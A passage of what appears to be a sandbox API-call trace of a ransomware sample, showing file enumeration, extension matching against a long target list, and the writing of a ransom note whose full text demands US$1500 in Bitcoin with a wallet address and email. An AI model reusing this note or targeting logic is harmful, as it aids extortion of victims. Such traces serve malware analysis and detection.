pszSpec="*.mp3") returned 0 [0110.457] lstrlenA (lpString="*.mp3") returned 5 [0110.457] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\585e8f83eff436c8156f071e8f2bdaa0\\Microsoft.VisualStudio.Tools.Applications.Adapter.v9.0.ni.dll", pszSpec="*.aiff") returned 0 [0110.457] lstrlenA (lpString="*.aiff") returned 6 [0110.457] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\585e8f83eff436c8156f071e8f2bdaa0\\Microsoft.VisualStudio.Tools.Applications.Adapter.v9.0.ni.dll", pszSpec="*.flac") returned 0 [0110.457] lstrlenA (lpString="*.flac") returned 6 [0110.457] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\585e8f83eff436c8156f071e8f2bdaa0\\Microsoft.VisualStudio.Tools.Applications.Adapter.v9.0.ni.dll", pszSpec="*.m4a") returned 0 [0110.457] lstrlenA (lpString="*.m4a") returned 5 [0110.457] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\585e8f83eff436c8156f071e8f2bdaa0\\Microsoft.VisualStudio.Tools.Applications.Adapter.v9.0.ni.dll", pszSpec="*.csv") returned 0 [0110.457] lstrlenA (lpString="*.csv") returned 5 [0110.457] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4bcad910, ftCreationTime.dwHighDateTime=0x1d301c0, ftLastAccessTime.dwLowDateTime=0x4bcad910, ftLastAccessTime.dwHighDateTime=0x1d301c0, ftLastWriteTime.dwLowDateTime=0x4bcad910, ftLastWriteTime.dwHighDateTime=0x1d301c0, nFileSizeHigh=0x0, nFileSizeLow=0x1ca600, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Microsoft.VisualStudio.Tools.Applications.Adapter.v9.0.ni.dll", cAlternateFileName="MICROS~1.DLL")) returned 0 [0110.458] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0110.458] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4c99f0b0, ftCreationTime.dwHighDateTime=0x1d301c0, ftLastAccessTime.dwLowDateTime=0x4c99f0b0, ftLastAccessTime.dwHighDateTime=0x1d301c0, ftLastWriteTime.dwLowDateTime=0x4c99f0b0, ftLastWriteTime.dwHighDateTime=0x1d301c0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName="6348aa5d2bd39c221a41286e95c18b97", cAlternateFileName="6348AA~1")) returned 1 [0110.458] lstrcmpA (lpString1=".", lpString2="6348aa5d2bd39c221a41286e95c18b97") returned -1 [0110.458] lstrcmpA (lpString1="..", lpString2="6348aa5d2bd39c221a41286e95c18b97") returned -1 [0110.458] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\*.*") returned="*.*" [0110.458] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\", lpString2="6348aa5d2bd39c221a41286e95c18b97" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\6348aa5d2bd39c221a41286e95c18b97") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\6348aa5d2bd39c221a41286e95c18b97" [0110.458] lstrlenA (lpString="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\6348aa5d2bd39c221a41286e95c18b97") returned 100 [0110.458] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\6348aa5d2bd39c221a41286e95c18b97\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4c99f0b0, ftCreationTime.dwHighDateTime=0x1d301c0, ftLastAccessTime.dwLowDateTime=0x4c99f0b0, ftLastAccessTime.dwHighDateTime=0x1d301c0, ftLastWriteTime.dwLowDateTime=0x4c99f0b0, ftLastWriteTime.dwHighDateTime=0x1d301c0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502618 [0110.492] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0110.492] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4c99f0b0, ftCreationTime.dwHighDateTime=0x1d301c0, ftLastAccessTime.dwLowDateTime=0x4c99f0b0, ftLastAccessTime.dwHighDateTime=0x1d301c0, ftLastWriteTime.dwLowDateTime=0x4c99f0b0, ftLastWriteTime.dwHighDateTime=0x1d301c0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0110.493] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0110.493] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0110.493] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4c99f0b0, ftCreationTime.dwHighDateTime=0x1d301c0, ftLastAccessTime.dwLowDateTime=0x4c99f0b0, ftLastAccessTime.dwHighDateTime=0x1d301c0, ftLastWriteTime.dwLowDateTime=0x4c99f0b0, ftLastWriteTime.dwHighDateTime=0x1d301c0, nFileSizeHigh=0x0, nFileSizeLow=0x5f600, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Microsoft.VisualStudio.Tools.Applications.Hosting.v9.0.ni.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0110.493] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0110.493] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Microsoft.VisualStudio.Tools.Applications.Hosting.v9.0.ni.dll") returned -1 [0110.493] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Microsoft.VisualStudio.Tools.Applications.Hosting.v9.0.ni.dll") returned -1 [0110.493] lstrcmpiA (lpString1="", lpString2="Microsoft.VisualStudio.Tools.Applications.Hosting.v9.0.ni.dll") returned -1 [0110.493] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\6348aa5d2bd39c221a41286e95c18b97\\*.*") returned="*.*" [0110.493] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\6348aa5d2bd39c221a41286e95c18b97\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\6348aa5d2bd39c221a41286e95c18b97\\") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\6348aa5d2bd39c221a41286e95c18b97\\" [0110.493] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\6348aa5d2bd39c221a41286e95c18b97\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\6348aa5d2bd39c221a41286e95c18b97\\") returned="" [0110.493] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\6348aa5d2bd39c221a41286e95c18b97\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\6348aa5d2bd39c221a41286e95c18b97\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\6348aa5d2bd39c221a41286e95c18b97\\HOW TO DECRYPT FILES.txt" [0110.493] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\6348aa5d2bd39c221a41286e95c18b97\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\microsoft.visualstu#\\6348aa5d2bd39c221a41286e95c18b97\\how to decrypt files.txt")) returned 0xffffffff [0110.493] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\6348aa5d2bd39c221a41286e95c18b97\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\microsoft.visualstu#\\6348aa5d2bd39c221a41286e95c18b97\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0110.648] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0110.648] WriteFile (in: hFile=0x90, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0110.651] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0110.651] CloseHandle (hObject=0x90) returned 1 [0110.651] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\6348aa5d2bd39c221a41286e95c18b97\\", lpString2="Microsoft.VisualStudio.Tools.Applications.Hosting.v9.0.ni.dll" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\6348aa5d2bd39c221a41286e95c18b97\\Microsoft.VisualStudio.Tools.Applications.Hosting.v9.0.ni.dll") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\6348aa5d2bd39c221a41286e95c18b97\\Microsoft.VisualStudio.Tools.Applications.Hosting.v9.0.ni.dll" [0110.651] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\6348aa5d2bd39c221a41286e95c18b97\\Microsoft.VisualStudio.Tools.Applications.Hosting.v9.0.ni.dll", pszSpec="*.ems") returned 0 [0110.651] lstrlenA (lpString="*.ems") returned 5 [0110.651] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\6348aa5d2bd39c221a41286e95c18b97\\Microsoft.VisualStudio.Tools.Applications.Hosting.v9.0.ni.dll", pszSpec="*.db") returned 0 [0110.651] lstrlenA (lpString="*.db") returned 4 [0110.651] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\6348aa5d2bd39c221a41286e95c18b97\\Microsoft.VisualStudio.Tools.Applications.Hosting.v9.0.ni.dll", pszSpec="*.dbf") returned 0 [0110.651] lstrlenA (lpString="*.dbf") returned 5 [0110.651] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\6348aa5d2bd39c221a41286e95c18b97\\Microsoft.VisualStudio.Tools.Applications.Hosting.v9.0.ni.dll", pszSpec="*.myox") returned 0 [0110.651] lstrlenA (lpString="*.myox") returned 6 [0110.651] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\6348aa5d2bd39c221a41286e95c18b97\\Microsoft.VisualStudio.Tools.Applications.Hosting.v9.0.ni.dll", pszSpec="*.myo") returned 0 [0110.652] lstrlenA (lpString="*.myo") returned 5 [0110.652] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\6348aa5d2bd39c221a41286e95c18b97\\Microsoft.VisualStudio.Tools.Applications.Hosting.v9.0.ni.dll", pszSpec="*.qbw") returned 0 [0110.652] lstrlenA (lpString="*.qbw") returned 5 [0110.652] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\6348aa5d2bd39c221a41286e95c18b97\\Microsoft.VisualStudio.Tools.Applications.Hosting.v9.0.ni.dll", pszSpec="*.qbb") returned 0 [0110.652] lstrlenA (lpString="*.qbb") returned 5 [0110.652] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\6348aa5d2bd39c221a41286e95c18b97\\Microsoft.VisualStudio.Tools.Applications.Hosting.v9.0.ni.dll", pszSpec="*.qbm") returned 0 [0110.652] lstrlenA (lpString="*.qbm") returned 5 [0110.652] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\6348aa5d2bd39c221a41286e95c18b97\\Microsoft.VisualStudio.Tools.Applications.Hosting.v9.0.ni.dll", pszSpec="*.qbo") returned 0 [0110.652] lstrlenA (lpString="*.qbo") returned 5 [0110.652] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\6348aa5d2bd39c221a41286e95c18b97\\Microsoft.VisualStudio.Tools.Applications.Hosting.v9.0.ni.dll", pszSpec="*.qbx") returned 0 [0110.652] lstrlenA (lpString="*.qbx") returned 5 [0110.652] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\6348aa5d2bd39c221a41286e95c18b97\\Microsoft.VisualStudio.Tools.Applications.Hosting.v9.0.ni.dll", pszSpec="*.qba") returned 0 [0110.652] lstrlenA (lpString="*.qba") returned 5 [0110.652] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\6348aa5d2bd39c221a41286e95c18b97\\Microsoft.VisualStudio.Tools.Applications.Hosting.v9.0.ni.dll", pszSpec="*.qby") returned 0 [0110.652] lstrlenA (lpString="*.qby") returned 5 [0110.652] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\6348aa5d2bd39c221a41286e95c18b97\\Microsoft.VisualStudio.Tools.Applications.Hosting.v9.0.ni.dll", pszSpec="*.qbj") returned 0 [0110.652] lstrlenA (lpString="*.qbj") returned 5 [0110.653] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\6348aa5d2bd39c221a41286e95c18b97\\Microsoft.VisualStudio.Tools.Applications.Hosting.v9.0.ni.dll", pszSpec="*.ofx") returned 0 [0110.653] lstrlenA (lpString="*.ofx") returned 5 [0110.653] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\6348aa5d2bd39c221a41286e95c18b97\\Microsoft.VisualStudio.Tools.Applications.Hosting.v9.0.ni.dll", pszSpec="*.qif") returned 0 [0110.653] lstrlenA (lpString="*.qif") returned 5 [0110.653] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\6348aa5d2bd39c221a41286e95c18b97\\Microsoft.VisualStudio.Tools.Applications.Hosting.v9.0.ni.dll", pszSpec="*.mye") returned 0 [0110.653] lstrlenA (lpString="*.mye") returned 5 [0110.653] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\6348aa5d2bd39c221a41286e95c18b97\\Microsoft.VisualStudio.Tools.Applications.Hosting.v9.0.ni.dll", pszSpec="*.mbox") returned 0 [0110.653] lstrlenA (lpString="*.mbox") returned 6 [0110.653] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\6348aa5d2bd39c221a41286e95c18b97\\Microsoft.VisualStudio.Tools.Applications.Hosting.v9.0.ni.dll", pszSpec="*.eml") returned 0 [0110.653] lstrlenA (lpString="*.eml") returned 5 [0110.653] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\6348aa5d2bd39c221a41286e95c18b97\\Microsoft.VisualStudio.Tools.Applications.Hosting.v9.0.ni.dll", pszSpec="*.pst") returned 0 [0110.653] lstrlenA (lpString="*.pst") returned 5 [0110.653] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\6348aa5d2bd39c221a41286e95c18b97\\Microsoft.VisualStudio.Tools.Applications.Hosting.v9.0.ni.dll", pszSpec="*.ost") returned 0 [0110.653] lstrlenA (lpString="*.ost") returned 5 [0110.653] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\6348aa5d2bd39c221a41286e95c18b97\\Microsoft.VisualStudio.Tools.Applications.Hosting.v9.0.ni.dll", pszSpec="*.idx") returned 0 [0110.653] lstrlenA (lpString="*.idx") returned 5 [0110.653] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\6348aa5d2bd39c221a41286e95c18b97\\Microsoft.VisualStudio.Tools.Applications.Hosting.v9.0.ni.dll", pszSpec="*.dbx") returned 0 [0110.654] lstrlenA (lpString="*.dbx") returned 5 [0110.654] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\6348aa5d2bd39c221a41286e95c18b97\\Microsoft.VisualStudio.Tools.Applications.Hosting.v9.0.ni.dll", pszSpec="*.sql") returned 0 [0110.654] lstrlenA (lpString="*.sql") returned 5 [0110.654] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\6348aa5d2bd39c221a41286e95c18b97\\Microsoft.VisualStudio.Tools.Applications.Hosting.v9.0.ni.dll", pszSpec="*.mdb") returned 0 [0110.654] lstrlenA (lpString="*.mdb") returned 5 [0110.654] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\6348aa5d2bd39c221a41286e95c18b97\\Microsoft.VisualStudio.Tools.Applications.Hosting.v9.0.ni.dll", pszSpec="*.fdb") returned 0 [0110.654] lstrlenA (lpString="*.fdb") returned 5 [0110.654] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\6348aa5d2bd39c221a41286e95c18b97\\Microsoft.VisualStudio.Tools.Applications.Hosting.v9.0.ni.dll", pszSpec="*.wab") returned 0 [0110.654] lstrlenA (lpString="*.wab") returned 5 [0110.654] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\6348aa5d2bd39c221a41286e95c18b97\\Microsoft.VisualStudio.Tools.Applications.Hosting.v9.0.ni.dll", pszSpec="*.dat") returned 0 [0110.654] lstrlenA (lpString="*.dat") returned 5 [0110.654] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\6348aa5d2bd39c221a41286e95c18b97\\Microsoft.VisualStudio.Tools.Applications.Hosting.v9.0.ni.dll", pszSpec="*.txt") returned 0 [0110.654] lstrlenA (lpString="*.txt") returned 5 [0110.654] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\6348aa5d2bd39c221a41286e95c18b97\\Microsoft.VisualStudio.Tools.Applications.Hosting.v9.0.ni.dll", pszSpec="*.jpeg") returned 0 [0110.654] lstrlenA (lpString="*.jpeg") returned 6 [0110.654] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\6348aa5d2bd39c221a41286e95c18b97\\Microsoft.VisualStudio.Tools.Applications.Hosting.v9.0.ni.dll", pszSpec="*.jpg") returned 0 [0110.654] lstrlenA (lpString="*.jpg") returned 5 [0110.655] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\6348aa5d2bd39c221a41286e95c18b97\\Microsoft.VisualStudio.Tools.Applications.Hosting.v9.0.ni.dll", pszSpec="*.png") returned 0 [0110.655] lstrlenA (lpString="*.png") returned 5 [0110.655] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\6348aa5d2bd39c221a41286e95c18b97\\Microsoft.VisualStudio.Tools.Applications.Hosting.v9.0.ni.dll", pszSpec="*.php") returned 0 [0110.655] lstrlenA (lpString="*.php") returned 5 [0110.655] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\6348aa5d2bd39c221a41286e95c18b97\\Microsoft.VisualStudio.Tools.Applications.Hosting.v9.0.ni.dll", pszSpec="*.cs") returned 0 [0110.655] lstrlenA (lpString="*.cs") returned 4 [0110.655] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\6348aa5d2bd39c221a41286e95c18b97\\Microsoft.VisualStudio.Tools.Applications.Hosting.v9.0.ni.dll", pszSpec="*.cpp") returned 0 [0110.655] lstrlenA (lpString="*.cpp") returned 5 [0110.655] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\6348aa5d2bd39c221a41286e95c18b97\\Microsoft.VisualStudio.Tools.Applications.Hosting.v9.0.ni.dll", pszSpec="*.rar") returned 0 [0110.655] lstrlenA (lpString="*.rar") returned 5 [0110.655] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\6348aa5d2bd39c221a41286e95c18b97\\Microsoft.VisualStudio.Tools.Applications.Hosting.v9.0.ni.dll", pszSpec="*.zip") returned 0 [0110.655] lstrlenA (lpString="*.zip") returned 5 [0110.655] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\6348aa5d2bd39c221a41286e95c18b97\\Microsoft.VisualStudio.Tools.Applications.Hosting.v9.0.ni.dll", pszSpec="*.html") returned 0 [0110.655] lstrlenA (lpString="*.html") returned 6 [0110.655] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\6348aa5d2bd39c221a41286e95c18b97\\Microsoft.VisualStudio.Tools.Applications.Hosting.v9.0.ni.dll", pszSpec="*.htm") returned 0 [0110.672] lstrlenA (lpString="*.htm") returned 5 [0110.673] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\6348aa5d2bd39c221a41286e95c18b97\\Microsoft.VisualStudio.Tools.Applications.Hosting.v9.0.ni.dll", pszSpec="*.xlsx") returned 0 [0110.673] lstrlenA (lpString="*.xlsx") returned 6 [0110.673] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\6348aa5d2bd39c221a41286e95c18b97\\Microsoft.VisualStudio.Tools.Applications.Hosting.v9.0.ni.dll", pszSpec="*.xls") returned 0 [0110.673] lstrlenA (lpString="*.xls") returned 5 [0110.673] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\6348aa5d2bd39c221a41286e95c18b97\\Microsoft.VisualStudio.Tools.Applications.Hosting.v9.0.ni.dll", pszSpec="*.mp4") returned 0 [0110.673] lstrlenA (lpString="*.mp4") returned 5 [0110.673] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\6348aa5d2bd39c221a41286e95c18b97\\Microsoft.VisualStudio.Tools.Applications.Hosting.v9.0.ni.dll", pszSpec="*.ppt") returned 0 [0110.673] lstrlenA (lpString="*.ppt") returned 5 [0110.673] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\6348aa5d2bd39c221a41286e95c18b97\\Microsoft.VisualStudio.Tools.Applications.Hosting.v9.0.ni.dll", pszSpec="*.pptx") returned 0 [0110.673] lstrlenA (lpString="*.pptx") returned 6 [0110.673] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\6348aa5d2bd39c221a41286e95c18b97\\Microsoft.VisualStudio.Tools.Applications.Hosting.v9.0.ni.dll", pszSpec="*.doc") returned 0 [0110.673] lstrlenA (lpString="*.doc") returned 5 [0110.673] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\6348aa5d2bd39c221a41286e95c18b97\\Microsoft.VisualStudio.Tools.Applications.Hosting.v9.0.ni.dll", pszSpec="*.dot") returned 0 [0110.673] lstrlenA (lpString="*.dot") returned 5 [0110.673] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\6348aa5d2bd39c221a41286e95c18b97\\Microsoft.VisualStudio.Tools.Applications.Hosting.v9.0.ni.dll", pszSpec="*.docx") returned 0 [0110.673] lstrlenA (lpString="*.docx") returned 6 [0110.673] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\6348aa5d2bd39c221a41286e95c18b97\\Microsoft.VisualStudio.Tools.Applications.Hosting.v9.0.ni.dll", pszSpec="*.7z") returned 0 [0110.673] lstrlenA (lpString="*.7z") returned 4 [0110.673] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\6348aa5d2bd39c221a41286e95c18b97\\Microsoft.VisualStudio.Tools.Applications.Hosting.v9.0.ni.dll", pszSpec="*.tar") returned 0 [0110.673] lstrlenA (lpString="*.tar") returned 5 [0110.673] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\6348aa5d2bd39c221a41286e95c18b97\\Microsoft.VisualStudio.Tools.Applications.Hosting.v9.0.ni.dll", pszSpec="*.bz2") returned 0 [0110.674] lstrlenA (lpString="*.bz2") returned 5 [0110.674] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\6348aa5d2bd39c221a41286e95c18b97\\Microsoft.VisualStudio.Tools.Applications.Hosting.v9.0.ni.dll", pszSpec="*.gz") returned 0 [0110.674] lstrlenA (lpString="*.gz") returned 4 [0110.674] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\6348aa5d2bd39c221a41286e95c18b97\\Microsoft.VisualStudio.Tools.Applications.Hosting.v9.0.ni.dll", pszSpec="*.mkv") returned 0 [0110.674] lstrlenA (lpString="*.mkv") returned 5 [0110.674] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\6348aa5d2bd39c221a41286e95c18b97\\Microsoft.VisualStudio.Tools.Applications.Hosting.v9.0.ni.dll", pszSpec="*.eml") returned 0 [0110.674] lstrlenA (lpString="*.eml") returned 5 [0110.674] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\6348aa5d2bd39c221a41286e95c18b97\\Microsoft.VisualStudio.Tools.Applications.Hosting.v9.0.ni.dll", pszSpec="*.msg") returned 0 [0110.674] lstrlenA (lpString="*.msg") returned 5 [0110.674] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\6348aa5d2bd39c221a41286e95c18b97\\Microsoft.VisualStudio.Tools.Applications.Hosting.v9.0.ni.dll", pszSpec="*.edb") returned 0 [0110.674] lstrlenA (lpString="*.edb") returned 5 [0110.674] PathMatchSpecA 